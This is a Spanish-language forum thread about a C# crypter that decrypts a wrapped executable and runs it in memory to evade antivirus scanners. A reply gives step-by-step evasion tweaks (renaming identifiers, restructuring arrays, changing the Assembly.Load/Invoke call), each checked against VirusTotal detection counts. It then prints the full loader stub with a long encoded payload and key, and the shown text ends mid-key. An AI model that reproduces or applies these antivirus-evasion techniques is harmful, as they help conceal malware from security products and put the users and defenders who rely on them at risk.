Cómo puedo evitar la detección por los AV?

Iniciado por @XSStringManolo, 1 Noviembre 2021, 04:41 AM

0 Miembros y 1 Visitante están viendo este tema.

@XSStringManolo

Hice un crypter cli (comando) en C# al que le pasas la ruta de un exe como argumento y te genera un código (listo para compilar) que descifra y ejecuta el exe en memoria para evitar detecciones estáticas.

Por lo que parece este comportamiendo es detectado como malicioso.

https://www.virustotal.com/gui/file/25e60c67ac1c177cfa60eb9637ffb4b27dfbf247a5ce00b66c27eb3c3a7882a5/detection

Lo que subí a virustotal, es un hola_mundo.exe pasado por el crypter, es decir el nuevo exe generado a partir del hola_mundo.exe que se encarga de descifrar su binario y correrlo en memoria.

Conoceis alguna forma simple de evitar estas detecciones?

Aquí el código (del hola_mundo.exe compilado) generado antes de compilarlo. Este es el que subí a virustotal una vez compilado:
https://gist.github.com/StringManolo/6a3f7205e8cc7f075fcfb177bc9728f3

Adjunto también el .exe compilado:
https://github.com/StringManolo/share/raw/master/hello_world.exe
md5sum 058e321a21469b6fd3983f143b8af787
sha256sum 25e60c67ac1c177cfa60eb9637ffb4b27dfbf247a5ce00b66c27eb3c3a7882a5

**Aincrad**

#1
Bien, desglosemos el código;

Para empezar este tipo de declaraciones es detectada por 2 antivirus (SecureAge APEX / MaxSecure) :

Código (csharp) [Seleccionar]
   Char[] charset = {
       'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p',
       'q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G',
       'H','I','J','K','L','M','N','Ñ','O','P','Q','R','S','T','U','V','W',
       'X','Y','Z','1','2','3','4','5','6','7','8','9','0','+','/','='  };


Las Puedes Cambiar a :

Código (csharp) [Seleccionar]
static string CharsetAlfabetoSTR = "abcdefghijklmnopqrstuvwxyz";
   static string CharsetNumberSTR = "1234567890";
   static string CharsetSimbolsSTR = "+/=";
   static string CharsetAlfabetoUpperSTR = CharsetAlfabetoSTR.ToUpper();

   static string FullCharset = CharsetAlfabetoSTR + CharsetAlfabetoUpperSTR + CharsetNumberSTR + CharsetSimbolsSTR;

   Char[] charset = FullCharset.ToCharArray();





La funcion : (es detectada por MaxSecure como Trojan.Malware.300983.susgen)

Código (csharp) [Seleccionar]
   public static int[] SubstractNumericArrays(int[] numeric1, int[] numeric2) {
           // TODO: check arrays share length here
           int[] res = new int[numeric1.Length];

           for (int i = 0; i < numeric1.Length; i++)
           {
               res[i] = numeric1[i] - numeric2[i];
           }

           return res;
       }


La cambiamos a : (y ya no es detectada)

Código (csharp) [Seleccionar]
public static int[] SubNumeric(int[] N1, int[] N2)
   {
       int[] res = new int[N1.Length];

       for (int i = 0; i < N1.Length; i++)
       {
           res[i] = N1[i] - N2[i];
       }

       return res;
   }



Ya sabemos que esa funcion tenemos que generarla con nombre de variables randoms.


Tal parece que los Antivirus (SecureAge APEX y MaxSecure) son muy sensibles a los nombres de variables y/o Funciones. Por eso aplicaremos nombres random a todo el stub si es posible.






Bien , Ahora nos ponemos serios, La función : (Es detectada por 15 AVs)

Código (csharp) [Seleccionar]
 public static void RunFromMemory(byte[] bytes)
   {
       Assembly a = Assembly.Load(bytes);
       MethodInfo method = a.EntryPoint;
       if (method == null) return;
       object[] parameters = method.GetParameters().Length == 0 ? null : new object[] { new string[0] };
       method.Invoke(null, parameters);
   }


Si quitamos la Importacion Using System.Reflection; y la cambiamos por el espacio de nombres directamente, la deteccion baja a (14 AVs)

Código (csharp) [Seleccionar]
  public static void RunFromMemory(byte[] bytes)
   {
       System.Reflection.Assembly a = System.Reflection.Assembly.Load(bytes);
       System.Reflection.MethodInfo method = a.EntryPoint;
       if (method == null) return;
       object[] parameters = method.GetParameters().Length == 0 ? null : new object[] { new string[0] };
       method.Invoke(null, parameters);
   }



Si Cambiamos el nombre de la funcion y variables la deteccion baja a (13 AVs).

Si Modificamos la funcion de esta manera, quitando la opcion de los parametros, entonces la deteccion baja a (5 AV)

Código (csharp) [Seleccionar]
public static void RM(byte[] BT)
   {
       System.Reflection.Assembly AS = System.Reflection.Assembly.Load(BT);
       System.Reflection.MethodInfo MT = AS.EntryPoint;
       if (MT == null) return;
       MT.Invoke(null, null);
   }



y Si Quitamos el .Invoke(null, null); la deteccion baja a (1 AV) .




En pocas Palabras el Problema esta en tu el metodo para iniciar el PE. asi que cambialo por algun otro RunPE.

https://www.virustotal.com/gui/file/188efeee138c836d953da7946495d8da37b69207b63855dde92a2dc89d9ea327?nocache=1


La unica deteccion es del antivirus MaxSecure y recordemos que este Identificador de deteccion  : Trojan.Malware.300983.susgen se debe a algún nombre "Sospechoso" de alguna función o variable.

Entonces si logras generar un stub 100% con identificadores randoms, entonces tendra 0 detecciones.




Por cierto el Codigo que pusiste en github tiene 27 detecciones, yo cambie un poco la estructura y las detecciones bajaron a 20


Código (csharp) [Seleccionar]
using System;
using System.IO;
using System.Text; //Encoding
using System.Collections.Generic; //List
using System.Reflection;
using System.Threading;
public class Decrypter
{
    public static void RunFromMemory(byte[] bytes)
    {
        Assembly a = Assembly.Load(bytes);
        MethodInfo method = a.EntryPoint;
        if (method == null) return;
        object[] parameters = method.GetParameters().Length == 0 ? null : new object[] { new string[0] };
        method.Invoke(null, parameters);
    }

    public static string NumberToBase64(int[] base64)
    {
        Char[] charset = {
        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p',
        'q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G',
        'H','I','J','K','L','M','N','Ñ','O','P','Q','R','S','T','U','V','W',
        'X','Y','Z','1','2','3','4','5','6','7','8','9','0','+','/','='
};

       String res = "";
        for (int i = 0; i < base64.Length; i++)
        {
            res += charset[base64[i]];
        }
        return res;
       
    }

    public static string Decrypt(string base64, string key)
    {

        // decode b64
        byte[] data = Convert.FromBase64String(base64);
        string decoded = Encoding.UTF8.GetString(data);
        // get numeric array from base64decoded
        int[] numericText = TextToNumber(decoded);
        // get numeric array from key
        int[] numericKey = TextToNumber(key);

        // substract arrays
        int[] originalNumeric = SubstractNumericArrays(numericText, numericKey);

        // substractedResult to text
        String originalBase64 = NumberToBase64(originalNumeric);

        // decode text from base64
        byte[] rawData = Convert.FromBase64String(originalBase64);

        // write decoded as bytes to file (not in memory)
        // File.WriteAllBytes("./dummy_malware", rawData);

        // run bytes
        RunFromMemory(rawData);
       
        return "";
    }

    public static int[] SubstractNumericArrays(int[] numeric1, int[] numeric2) {
            // TODO: check arrays share length here
            int[] res = new int[numeric1.Length];

            for (int i = 0; i < numeric1.Length; i++)
            {
                res[i] = numeric1[i] - numeric2[i];
            }

            return res;
        }

    public static  int[] TextToNumber(string text) {
            Char[] charset = {
        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p', // 16
        'q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G', // 33
        'H','I','J','K','L','M','N','Ñ','O','P','Q','R','S','T','U','V','W', // 50
        'X','Y','Z','1','2','3','4','5','6','7','8','9','0','+','/','=', // 66
'@','#','$','%','&','*','-','(',')','!','"','\'',':',';','?','~', // 82
        '`','|','•','√','Π','÷','×','{','}','£','¢','€','°','^','_','[', // 98
        '™','®','©','¶','\\','<','>',',','.','á','đ','é','₣','î','ï','ì', // 114
        'í','λ','μ','ñ','ó','₱','û','ü','ÿ','ý','ž','Á','Ç','Đ','É','Î', // 130
        'Ï','Ì','Í','Ó','Û','Ü','Ù','Ú' //138
      };

            // int[] res = new int[text.Length];
            var list = new List<int>();


            for (int i = 0/*, k = 0*/; i < text.Length; i++)
            {
                for (int j = 0; j < charset.Length; j++)
                {
                    if (text[i] == charset[j])
                    {
                        // res[k++] = j;
                        list.Add(j);
                    }
                }
            }
            return list.ToArray();
        }

   
    static int Main(string[] args)
    {
        Decrypt("wrA4Oj1EP35YKCJMOiE2VyHDr8OHK2ApfTVWOjMmIS8pTH7CoksmKinDlzshQjM9IkE7OS0pSlpXKT85NC1MSEgvKE8oKU1PMUU1J1gqSykoQjZIw5FaKSlWKSnEkXl3S8KjTCtMeV9+M3oiwrDDt1vDkVYvJDBYSjsnWHjDrG5mUiZYO1IwWmNSOylZKTAmwqnihKI7KVY3K25SKSMywqJQ4oCiVC3iiJosTsK2UjpFKCzigrEkYD87YCg/OTdEWTbCosKiKMORVsKwSjlEIT1ORmN+TCpFTVchKU07YCfDl8OXV3x0PcO3QuKCrDpRKEolOyY7KDYvLSYpL0tPOCVPMTYpOzpMQn5EIVFLOkgpw5c7I0NNNU5BNT1MQjRIIiFNw5dXPTVMKS83SD9CS3wnJ0wpQUNMIlAlLTUqLzIpfC0pJiopS8KjUVMvNkEqODE3KUs1QSZNOFlgNURIRTtPw5EpSjFBLX49UyZLSEgmS3xSJ0xIw5EhMClDLzdJfCZNVyEtJ0jDkSEkNVU9KUw6QjU6SCc7OkFENiY3Jkt8KkI1w5FWIVEpQS07KSIqTDpKJiEmQS0oOkEvOzpQKktTISlLTzohSzpWKTs5IUM3TCEpNDlIKTM5I0M/PTVBNk8qQVkpJykhTyNCPzhXIU4mPXw2JikpKTohPTUoV0E2w7dIQjRPWTt9OlIhUE82IU1IOi9OSCInOzo2KSLCoj/ihKI4L8OuQjVLVyNLfUEoOyhEIU45PSI0T1AoTExgQTUoVkE0PS0mTE9XKE07NihgOSlCOTomY0AyT1wlRDVFJDkrIylESFHDl0/DkSlLXjAtPyYvKk45SCY/SC0nIk8hRUxEIkU2w5dJLyEqN+KImiPCojRVUS9QKEw64oiaKUxPNy06NSopTTU5IyFISSgiMeKAoiEtMUFDO0RTKktEIkIhSEF7IXzDkcKiTEtXIUtEISlLT1kpNlI7KcOXOylCWTfCokotMTAtKUQ1RTlqJzo0fCcpTDAoVyImNkRewrBZQjc5J0F+JigoM1dWRkwpUy8oRCkvS08hJ0smQSE2NFdDNzk6KSEmNjooRCMqNMO3ITo2SEgvNzFVKU1TKio7JVgoS0QtQktPw5EoSjnDkSk4MCdlTEhMQj0mPTsoQ3xDMTtAfnFPKz1aKS0iTVdBKjl8L8KwdmAiQjc1OCk1JjYoOylTJktJX8O3YCtM4oCidVNYJ0tIPiVNNUovIcKjw5dWP1NLITY6J0E2NTQxck9+MShgViZMTzctTCYyVeKCoyp+Vn4/blYiNSEqTiovKUt8IjshfMORITdQW19IK1cmcyZZfig6KkEiKTHCozZBO0IiJiI9Mz06RStPOCpMSHF+PTYlwq4zO2BEPyk2KU4mIykhJiJ9LUBWKTt2UShNNSLDoSQ6fid7NjAhTGAiKEtERykhJiQoJCh8KTtXN0E2SEAqNDk/ITM7w5coOyJXKCJMIUE/JignM1NWQjspUDJzw7ciJk1XOifDlzpQQis5NyVITEcpYC87KCYoMyE4JlFzNUR+QVp9KClLRMOXQV5PNjl0PWBCN0AiL3FIMiopOjYoMUQpLylPw5coM1NPKDV+WEU3McKwQjZIMyczV0wpKTlTwqPDkU89KTs4VjdaKyhBPzc3KjJJbDrDlzopKU5RfkpVPVYidDlOJk0mWCExfkkpP8ORWTdwOiJBfinigKIwMjrigKJEeyshPXNMVUFgUyfDtzNXNSV+VlcrckRHJiIqUiFJOzMhTjdROiQ1JC8iKll84oCiO8O3ITVbUipLSEEmNDpBOihEMCopPVJBNkg9LykqISlMQzE9NiVYKUtEIUJMOSMpTETigqwpOzYiRDdEIS8hV1gpOiIqWOKImjohV0/Co867Ly84MMKuxJHigKJ5WCs3ejowTThX4oiaNi9fwqnDly3DkT/CsFdjMDN6U86gJFRYzrzDqThOUV5TfsKpw5ckw5HCtsOtKcKpwqNJJFh5T86gwq42KiNjMMKjfl5POzVmW1BHwqJbTSsxW00wWjswcFkjfF5bMUknY86gIkRWOEFUTz93Jlc5UDlTUXw/XFtfelVAw5dRwqI5wqLDrmNAMiYyXyFaJuKAosO3KFV5WXhTOCs/WDwtS8KwPHwvwql3b0BhPsOXLnvihKJf4oCiw5FRN0JnYCw3JlFzJFo7RVfihKIjTTJjUCM1TTAzKMKpMjs6aH4pfjI74oKxIeKAol9QJldyJjR7w7cpUjJLScKiZmBUIsKuNnt1wqJRK0Iy4oiaOEZkzqAzJsKuw6leMFbOoFRSWFM3JUwvWCZXdztUZjg6S8KiPS9Bw5FRUy3CqX7Dt1TCtjA6Ik1bUDlkKlhWPF5AIcK2XGc9ZlIvfE7CtlsjWCpYcjE4TSlDK8KpNGI2OzNZP1dLQ0w6W3tMRVgpU1figKJYLTJ2KX5ENlotUCVCUVciV0sha0VMOlAmTEfDkU44zqA2IiwwMsKifcOpP86gbeKCrOKImm4/NUUhKVRYRcKjYFk6M0QiJuKEojJFKcKiV+KCrCFfVDYoMkjCo0RXVSLihKJRPsOtJ8KwOzdAwqJTJyYyKF8iTVMqJ0s7N0E0VyEqdExIKSw7X0NzI3xUeEkq4oCiNyIvwqI5a0ZbPD3iiJpTwq4tPVbOoG9NVkBVKSEpclRENHZAQjVPw5ctKSYyKVJfNS8tJiEpWSktKUo5NUV8PkQmTDpJOjs0VilNO2BDPy9XQzRIJClNJi0nSylWIUw6N0U2UeKAomBITGApP3wqKU05N0E1SCFBT8OzJlU8w7dGMS/OoC9ZP3M9QisjVsKpwqnDl3laXMKjTcK2YEl6JjRPIichVsKpTDIpL8O3TVMhLylPOyg/VzIpPzk4JU46IilMOTc6MzUjKTtEUUE2VyovNU9IKU3Dl1coOzhXKE49IkIoOiEoTVdSPSlMKUE0PSFCKE84JygpIycpOTUhTUg6RUs6fihMOiFENj01PSlEPSkhVlkpTVcqKsOXOzcmIkhBJiFIKCdLRFBCPylQJU01M0I1UTt8w5c6S0HiiJo5NkIrPSEvSikkKTM5MCZNPThDNUhIL0wvWSHCozpBLWBPUi1VOUkmTSYjJ01XMEUpRCdDNEQhQilgIik2fCEpQDk2Kk4xIUI1T34pOzpBJjtM4oCiJk1MPSk7PTghwqJTw5Em4oiaNjcm4oCiSEoqNHwhJ0wmNik1J1hFNlNKQjVTKShNV0stVSlWJUo/4oKswqM0OUh+Sj1LJjtEVC1MJkgvTUjDkX4hMcOuJylMIVhMO1Qmfj4oX3NT4oCiRVBTKcKuMsOXYEEzwqMhWyQ7cCnigKJTN8KicCo7QeKAoj4qOik6QUNWJzDDrl4rKi8/THwpTERWJTtMIi1LRCFCTDlSKMOXRCpDYCpRIU49IylOMSE6KETDlyE1PVFCMz0hQiIxLSk/UlcqNjU1RTVFJUJNSMORKVoyVynOoCVSZUtJJ0IvMiJVKSFIKE8wUjFORTYvO8OsYCg7SFIoYChYQjbDtylCMDoiWCQ7ekQvwqk1ZlrigKJBJlM0Vlk1Ozgl4oiaw69RTjI6PSk1OSIpTX5LRlIpUyFNUygm4oCifTdZP1hUKeKImlMhYzlQKylPPEhWWjA3KeKImsKjVMKiMjIlQj/OoChYKlMhROKAompTIUtITSbigKIxJM6gTVfDkT04J1gnKMO3JUIwVyd7KDpSKWBaVyk0SEIm4oiaNllWWjZzIX46N1Q2TTghKyg3wq5JWEk9L8ORV1dOQMOvIS9Iw5FWRyFQITVMIkQ0U3BCNSc/4oiaTVNfQU054oCiwqJyST1B4oiaTFE8wqM74oiaQ86gzqA2ZExFJkIwejhXLVBVLyEvVzo3OUQmfMKpLeKAoig6UCEnRCJPTTUpKU0mInw/V1BBOz3igKJUIcOXIylSXn7ihKJ9O1ApUTdSWzJFI0IrfDrCqcKjISQo4oiawq5RLyIpKiY/SEHDlyFTQy87OlJeTEV2JsKwNzZbMjtDLU99ImUnUCpCfHItV0YxTSorTCdhNjbDoSk/SCl8IVNLQmA0Vyl0NSpCJ8OvIjFxO0wvP21WVzNUQi9QUzdaSyooKcKwK1BXTDI4JjAqK+KEojM/OCp+zqA2QTZIPEI0TOKAosO3OzpJJykoV8KiTkAqQlAhT8KuTT8jIStXUVpORTgpUsKjOjEkIUopzqBTIVNGQCMpTDpZeyg6NENOfCI6Mk9EL8ORKzTOoEo1QUFgNVdFNCkqQj8pT1hJVCcvK8KuUFRaKjUvPyZ8WVtTcUFQfTXCo8KjRSJCLyg3VjE7QCniiJo3UiFNVyovNcKuWM6gITsiQmAoWH40T0BCKDoiJVDDtz1FLXpRJkxPTCZNJlcpP1cwQSjihKJ9eDVEw61aUl/DkXx+PkRYIzpVWD0rJTowPVHOoDdMJDxbwqNHVj5ZPWMwVCF+dTtVVnTDrD9NTUUpT1A7IjzCsElHWOKImsOpRXs0KTXCqTkxcOKCrDs7OS03JyRQKyYvw5FAMi3CrnlUIy0vNlBVYC96zqDCsDtcMXc3PFlcWEh9W8KiccORLSR+VFt8WlU9wqImMVDCo0BazqA+T3spfDlkNcKi4oCi4oCiNExvWDtAI1Y2w7dLZ86gOi3ihKIrKSVifiw54oKswrAxeGDDkURBwqNz4oKs4oiaLU184oiaXMOvw7dOwq48w5dPVlEtYMKpNTtPWM6gScOtaSIhKjJgNiZhKcKjYH3Coz1MTSs1TXxOK0Q7TTAlXDhbUVM0w7c0MTcwRsORUCFVwq7OoDLDoVQ4w6zDkT8wSSpUTlcje1rigqxLS007w6laUcKiXFQ9N86gWDkqRkrDt1lMWGA4IVFeO8KpV3Z8NlXiiJpYRsK2MDRvWEtbMVlfT35Xw6kpJF83JiozLyI5wqJMQEBTNcOXzqB+dExcIyhEMmB+RCRRzqAlSH1cWSliODc1w5daW35+Nzp3J05EVX1SfCQyP1koY8O3O1AyME0iVuKEoiNLV86gwrZXXzwneFhRwrYjY1Q9IWB3IUlVditSXi9rc1M3w5fDkeKAojnOuy19zqDOoFJXL8KpL1l9wrY9VzzigrHCrsKpflBaT1PDryhJMMSRwrAiJjp5fDgmTEw4T2/OoFJTSljCrsK2KMORw7chRV9OwqksMX5UPjI6UFFiT0k4WncjQi1QP1Iyd8KpQ3vCriZNZcKiLyZZI8OXWMKpOz04TS8rV8OXOVQyfT5ULX0ifG0yXEEpwrYzTHbOoExbfD8iKDd8NydFVDjDv0Z9W1PDoTw4T+KCscKpW185WXpBwrZiP01LwqlAwrY1zqByLjLOoDhMM3w3NTVYw6HCqTZZPDpNZS9uw6lEX0Q14oiaw5F6SjJ+WDxmw7chKU44PlR9OOKImlRQfl5ET1xQNmM/WEpaOjtBITYlWUM1REkhNkgoKSJPMUU1PTYqTExIJsOXOi0pSjnDkSlMRCJENlNJL0tMYClNfDYoTTkpIUxIOkE7T34tKTpRRDtEU0Q2SD1BfjE4ISFTKi07J1YvIjUhQjQ5IihLKVYtNSlTLyjDty0pw5d8NycoRMORLU05NUIzOiEvKU9IISk6JkU1PVQtTClJQX4xVikhw5dXKD89NilONSYpNDkjKE07KiFMS1YpTVMhL0tPIihNTyMpKTpSIU5POilMTzA6KUQ2JjspUkM2TCovTUdYKU1PNichNFc6NEghQT9IJSlNU1YtOzpTRDdELSlMT1khIk82KTQ7IihLTCkvTiZIJyFXIyZLfCE6NU9JJktPOClNU0FEO0Q3KUtMKEI2Jk8oSjUwPUw6USd+SEkvKSlgKT9TQSE2NVJDNUghQTs6WDooOlJDKTlSQzZXKkIpOWApSjlgKj81NypLOkomTSYnKU1XMC01OigmS8O3Ki8pTzsoTVcjQSk6IUM1TyFCLVpXKC01Iyk/OTYhTEhIRU1XJyk1OkFEOz02ISJMTCZ+JiItIVNWKik6N0M1PSEpw5cpfCkhVyMnKTpSQzZIOi9OSH4oSjVWJj81Ni1LfD1CIUNXKcORO2BBPz1XJiJKRWBJSCknLTkqITVMU0U0U0ovKSl+IUs6I0FLOyJFN0whL0opJCkzNUFEKTVSOjVPISk7NX4pSjFBKj89UypLKShCNiZPKcOXKTApKTpQKk5PTCZLTGApNnwjKE05NyhLw7c6KX4mSCjDlzpLQztEUyZMRD1BWSnigKIhLTEhQjsoWCpLSClBWUwpKU5PNkRMKFhFNU9MJkw6WCfDl0RgKD814oCiJi0xISk0OlUnSjk2Qzs9UkE2SC0mKE8iISFXKiY/JlIhTjkiQig6UC0hU0EmOzo3RTU9KEI1TzsoKUhLKTs5UkM1JikpNDpIJz9SVyk7RFE9KUQqQX4xOik7RMOXQT84WChOPSIhNiYnJ0xIKikpKVAlTTUtJk1XWCk/fEtBNTpTKEtMOikhLzspSjkwKSk5KCVMT0xBfjElISJPMC07OVMmS0QmQjYmIy0oKVYpTCdXOjMxSS8oKX4tTClLITY5UUM2NSgpNE8tKSg6QUQ2KTgtS8O3KkI2VjspNlcpPSE1NypLOkomTVdBKUw6VkVMOlAqSzpMJkxPOicoRDYow5fDl1hBMzohQiIxNyEpOkshNTlROjZIKkFZKVYpIcOXOyVLOyEhIkgiQjYmQSlKMSE9NToiPSk9KS9LT1gtTDpSIU00V0M2SCEvNU9ZKUw6I0M7PVE9KT1JKUtPOilNTzAvNDs3Jk45PSlNJignIVNBITUpVEM0REtCNU8pKD9Tw5cow5c7UT0oSDpBO09VKUpaVkUhNTcjKUQhRUs4w5cpTENXKTs4V0M0TCFCNHxPKExIMkQ7OlNFNjVLL0s6Nyk/fCotTD03QTVEKClMKFcpw5c6OkUhKTcjIUg9KSHOoFghIVNKPSk6ISFOPSJBS3wpKUw6VkVMOlNFNlNKLyk5WSFLOktBKT01KkxPw60=", "Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY1ZadGRHRk5SbFowWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwV1JWcHlWVEJhVDJOc2NFaGpSazVYVWpOb2IxWnRNWGRVTVZWNFUxaG9hbEpzY0ZsWmJGWmhZMnhXY1ZGVVJsTk5WbFkxVkZaU1UxWnJNWEpqUld4aFUwaENTRlpxUm1GU2JVbDZXa1prYUdFeGNHOVdha0poVkRKT2RGSnJhR2hTYXpWeldXeG9iMWRHV25STldHUlZUVlpHTTFSVmFHOWhiRXB6WTBac1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1V01VbzFWbXBKTVdFeFdYZE5WVlpUWVRGd1YxbHJXa3RUUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxkSFVsWlVWbHBIVFRGU1ZtRkhPV2hpUlhCNldUQmFjMWR0U2tkWGJXaGFUVlp3YUZwRlpGTlRSa3B5VGxaT2FWSnRPVE5XTW5oWFdWWlJlRmRzYUZSaVJuQlpWbXRXZDFZeGJISlhhM1JVVW14d2VGVnRNVWRWTWtwV1lrUmFXR0V4Y0hKWlZXUkdaVWRPU0U5V1pHaGhNSEJ2Vm10U1MxUXlVa2RUYmtwb1VqSm9WRmxZY0ZkbGJHUllaVWM1YVUxWFVraFdNalZUVkd4a1NGVnNXbFZXYkhCSVZGUkdVMVp0UmtoUFYyaHBVbGhDTmxkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZZd01WWmlla1pYWWxoQ1MxUldaRVpsUm1SWldrVTFWMVpzY0ZWWFZsSkhaREZaZUdKSVNsaGhNMUpWVlcxNGQyVkdWblJOVldSV1RXdHdWMWxyVW1GWFIwVjRZMGhLV2xaWFVrZGFWV1JQVTBVNVYxcEhhR2hOU0VKMlZtMTBVMU14VVhsVmEyUlVZbXR3YjFWcVNtOVdSbXhaWTBaa2JHSkhVbGxhVldNMVlWVXhXRlZyYUZkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYWWtoQ1NWWkdVa2RWTVZwMFVtdG9VRll5YUhCVmJHaERUbXhrVlZGdFJtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaWmQwMVdXbWxsYTFwWVdXeG9RMU14VWxkYVJWcHNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdXR3hyVWtWS1dGUldXbmRsVm10M1YyNWtXRkl3VmpSWk1HaExWMnhhV0ZWclpHRldWMUpRVldwS1MxSXlSa2hoUlRWWFltdEtNbFp0TVRCVk1VMTRWVzVTVjJFeVVuRlZiR1EwVm14c2MxcEhPVmRTYkVwWlZHeGpOVll4V25SVmJHaFhWak5OTVZaWGMzaFhSbFoxWTBaa1RsWXlhREpXYWtKclV6RmtWMVp1U2xCV2JIQnZXVlJHZDFOV1draGxSMFphVm0xU1IxUnNXbUZWUmxsNVlVaENWbUpIYUVOYVJFWmhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp1Y0Zka2JGbDNWMjVPVDJKRmNIcFhhMlIzWVZaT1JsTnJiRmROYmxKeVdYcEdWbVZXVG5WVGJGSnBWbFp3V1ZaR1l6RmlNV1JIWWtoR1ZHRXhjSE5WYlRGVFYyeGtjbFpVUmxkTlZuQjZXVEJhVjFkR1duTlRhMmhoVWtWYVlWcFZaRXRUVms1ellVZG9UazFWY0ZkV2JHTjRUa2RSZVZaclpGZFhSM2h5VldwQ1lXTkdWblJsU0dSc1lrWnNOVnBWYUd0WFJrbDNWbXBTV2sxSGFFeFdNbmhoVjBaV2NscEhSbGRXTVVwUlZsZHdTMU14U1hsU2EyaG9VbFJXV0ZsdGRFdE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZsWmtTR1ZHV2xwV1JWb3pXVlZhVjJOV1RuUlBWbVJUWWtWd1dsWkhlR3BPVmxsNFYyNU9hbEpYYUZsV2ExVXhaR3hzVjFaWWFHcGlWWEJHVmxkNGExUnNXWGxoUkVwWFlXdEtjbFY2Umt0amF6VlhXa1prYVZKc2NGbFdSbEpIVXpBMWMxZHJhR3RTTUZwWVdXeGFZVmRXV2xoa1J6bG9UVlZ3TUZsVldsTldWbHBZWVVWU1ZrMXVhR2haZWtaM1VsWldkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMVkwWmthMkpHYkROV01qVlBWREpLUm1OSWNGaGhNbEl6V1ZaYVQxSnNUbkppUm1oWFlrWndlVmRZY0VkV2JWRjNUVlZzYUZKck5XOVphMmhEVjFaa1YxcEVRbXRpVmtZMFZqSjRWMVV5U2tkalNFNVdZbFJHVkZSV1dsWmxWMDQyVW14b1UyRXpRbUZXVm1NeFlqRlplRmRxV2xKaGJFcGhXVmQwWVZsV2NGWlhiR1JxVFd0YVIxUXhXbXRoUjFaelYyeEdWMkV4Y0doWFZtUlNaVlphY2xwR1pGaFNNMmg1VmxkMFYxTXhaRWRWYkdSWVltMVNjMVp0TVRCTk1WbDVUbGQwV0ZKcmJETldiWEJUVjJzeFIxTnNRbGROYWtaSFdsWmFWMk5zY0VoU2JHUk9UVzFvU2xZeFVrcGxSazE0VTFob2FsSlhhSEJWYlRGdlZrWmFjMkZGVGxSTlZuQXdWRlpTUTFack1WWk5WRkpYWWtkb2RsWXdXbXRUUjBaSFlrWndhVmRIYUc5V2JURTBZekpPYzJORmFGQldNMEpVV1d0b1EwNUdXbkpaTTJSUFZqQldOVlV5ZEd0aGJFcFlZVVpvV21KR1NrTlVWbHBoVjBkTmVtRkdhRk5pUm05NFYxUkNZV0V4VW5OWFdHeG9Va1Z3V0ZsWGRFdGpiRlkyVW10MGFtRjZWbGhYYTFwaFlWWktjMk5HYkZkU2JFcE1XV3BHVDFZeFpISmhSM2hUVFVad1dWWkdaRFJUTVU1WFYyeG9hMUo2Ykc5VVZsWnpUbFpzVm1GRlRsZGlWWEJKV1ZWV1QxbFdTa1pYYldoYVpXdGFNMVZzV2xka1IwNUdUbFprVGxaWGQzcFdiWGhUVXpBeFNGSllhR0ZTVjJoVldXdGtiMkl4Vm5GUmJVWlhZa1p3TVZrd1dtdGhNa3BIWWtST1YwMXFWbEJXUkVwTFVtMU9TV05HYUdoTmJFbDZWMVphWVZReFNuTlVia3BwVW0xU2NGVnFRVEJOUm1SWlkwVmtWMkpXUmpOVVZsWnpZVlpKZVdGR1VscGlSMmgyVmpGYWExZEhWa2hQVmtwT1ZtdHdTVlpzWXpGVE1XUklVMnRhYWxORk5WZFpiRkpIVmtad1dHVklUbGRpUjFKNlZrY3hiMVV4V2taWGFscFhWa1ZyZUZscVJscGxSbVJ4VjJ4S2FHSkZjRmRYVmxKTFZURk9SMVp1UmxOaVZWcFpWbTAxUTFOV2JGWlhhemxYVFZad1NGWXllR3RXTWtwSVZHcFNWV0V5VWxOYVZscGhZMnh3UjFwR2FGTk5NbWcxVm14a2QxRXhiRmhVYTJSWFlteEtjMVV3WkZOak1XeHlWMjVPVDFadVFsZFpWV1F3VjBaS2NtSkVUbGRpV0VKVVZqSnplRkl4VG5OUmJHUk9ZV3RhU0Zkc1dtRldNazV6WTBWb1UySkhVazlVVnpGdlUyeFplRlZyY0d4U2F6RTBWVEZvYjJGc1NsaGhTRUpXWWxSR2RsWnJXbUZqTWtaR1ZHeFNUbFp1UVhkV1JscFRVVEZhY2sxV1drNVdSa3BZV1d0a2IyUnNXWGRYYlhSVVVqQmFTRmxyV25kaFZtUklZVWM1VjJKVVJUQlpla3BQWXpKT1JtRkdRbGROTUVwVlYxZDBiMUV3TlVkWGJrcGFUVEpTVUZadGVITk9SbGw1VGxVNWFHSkZjRmxaVlZwelZqSkZlRlpZYUdGU00yaDZWbXBHWVZkWFJrZGhSazVwVW01Qk1WWXhXbGRaVjBWNFZXNVNVMkpyTlZsWmExcG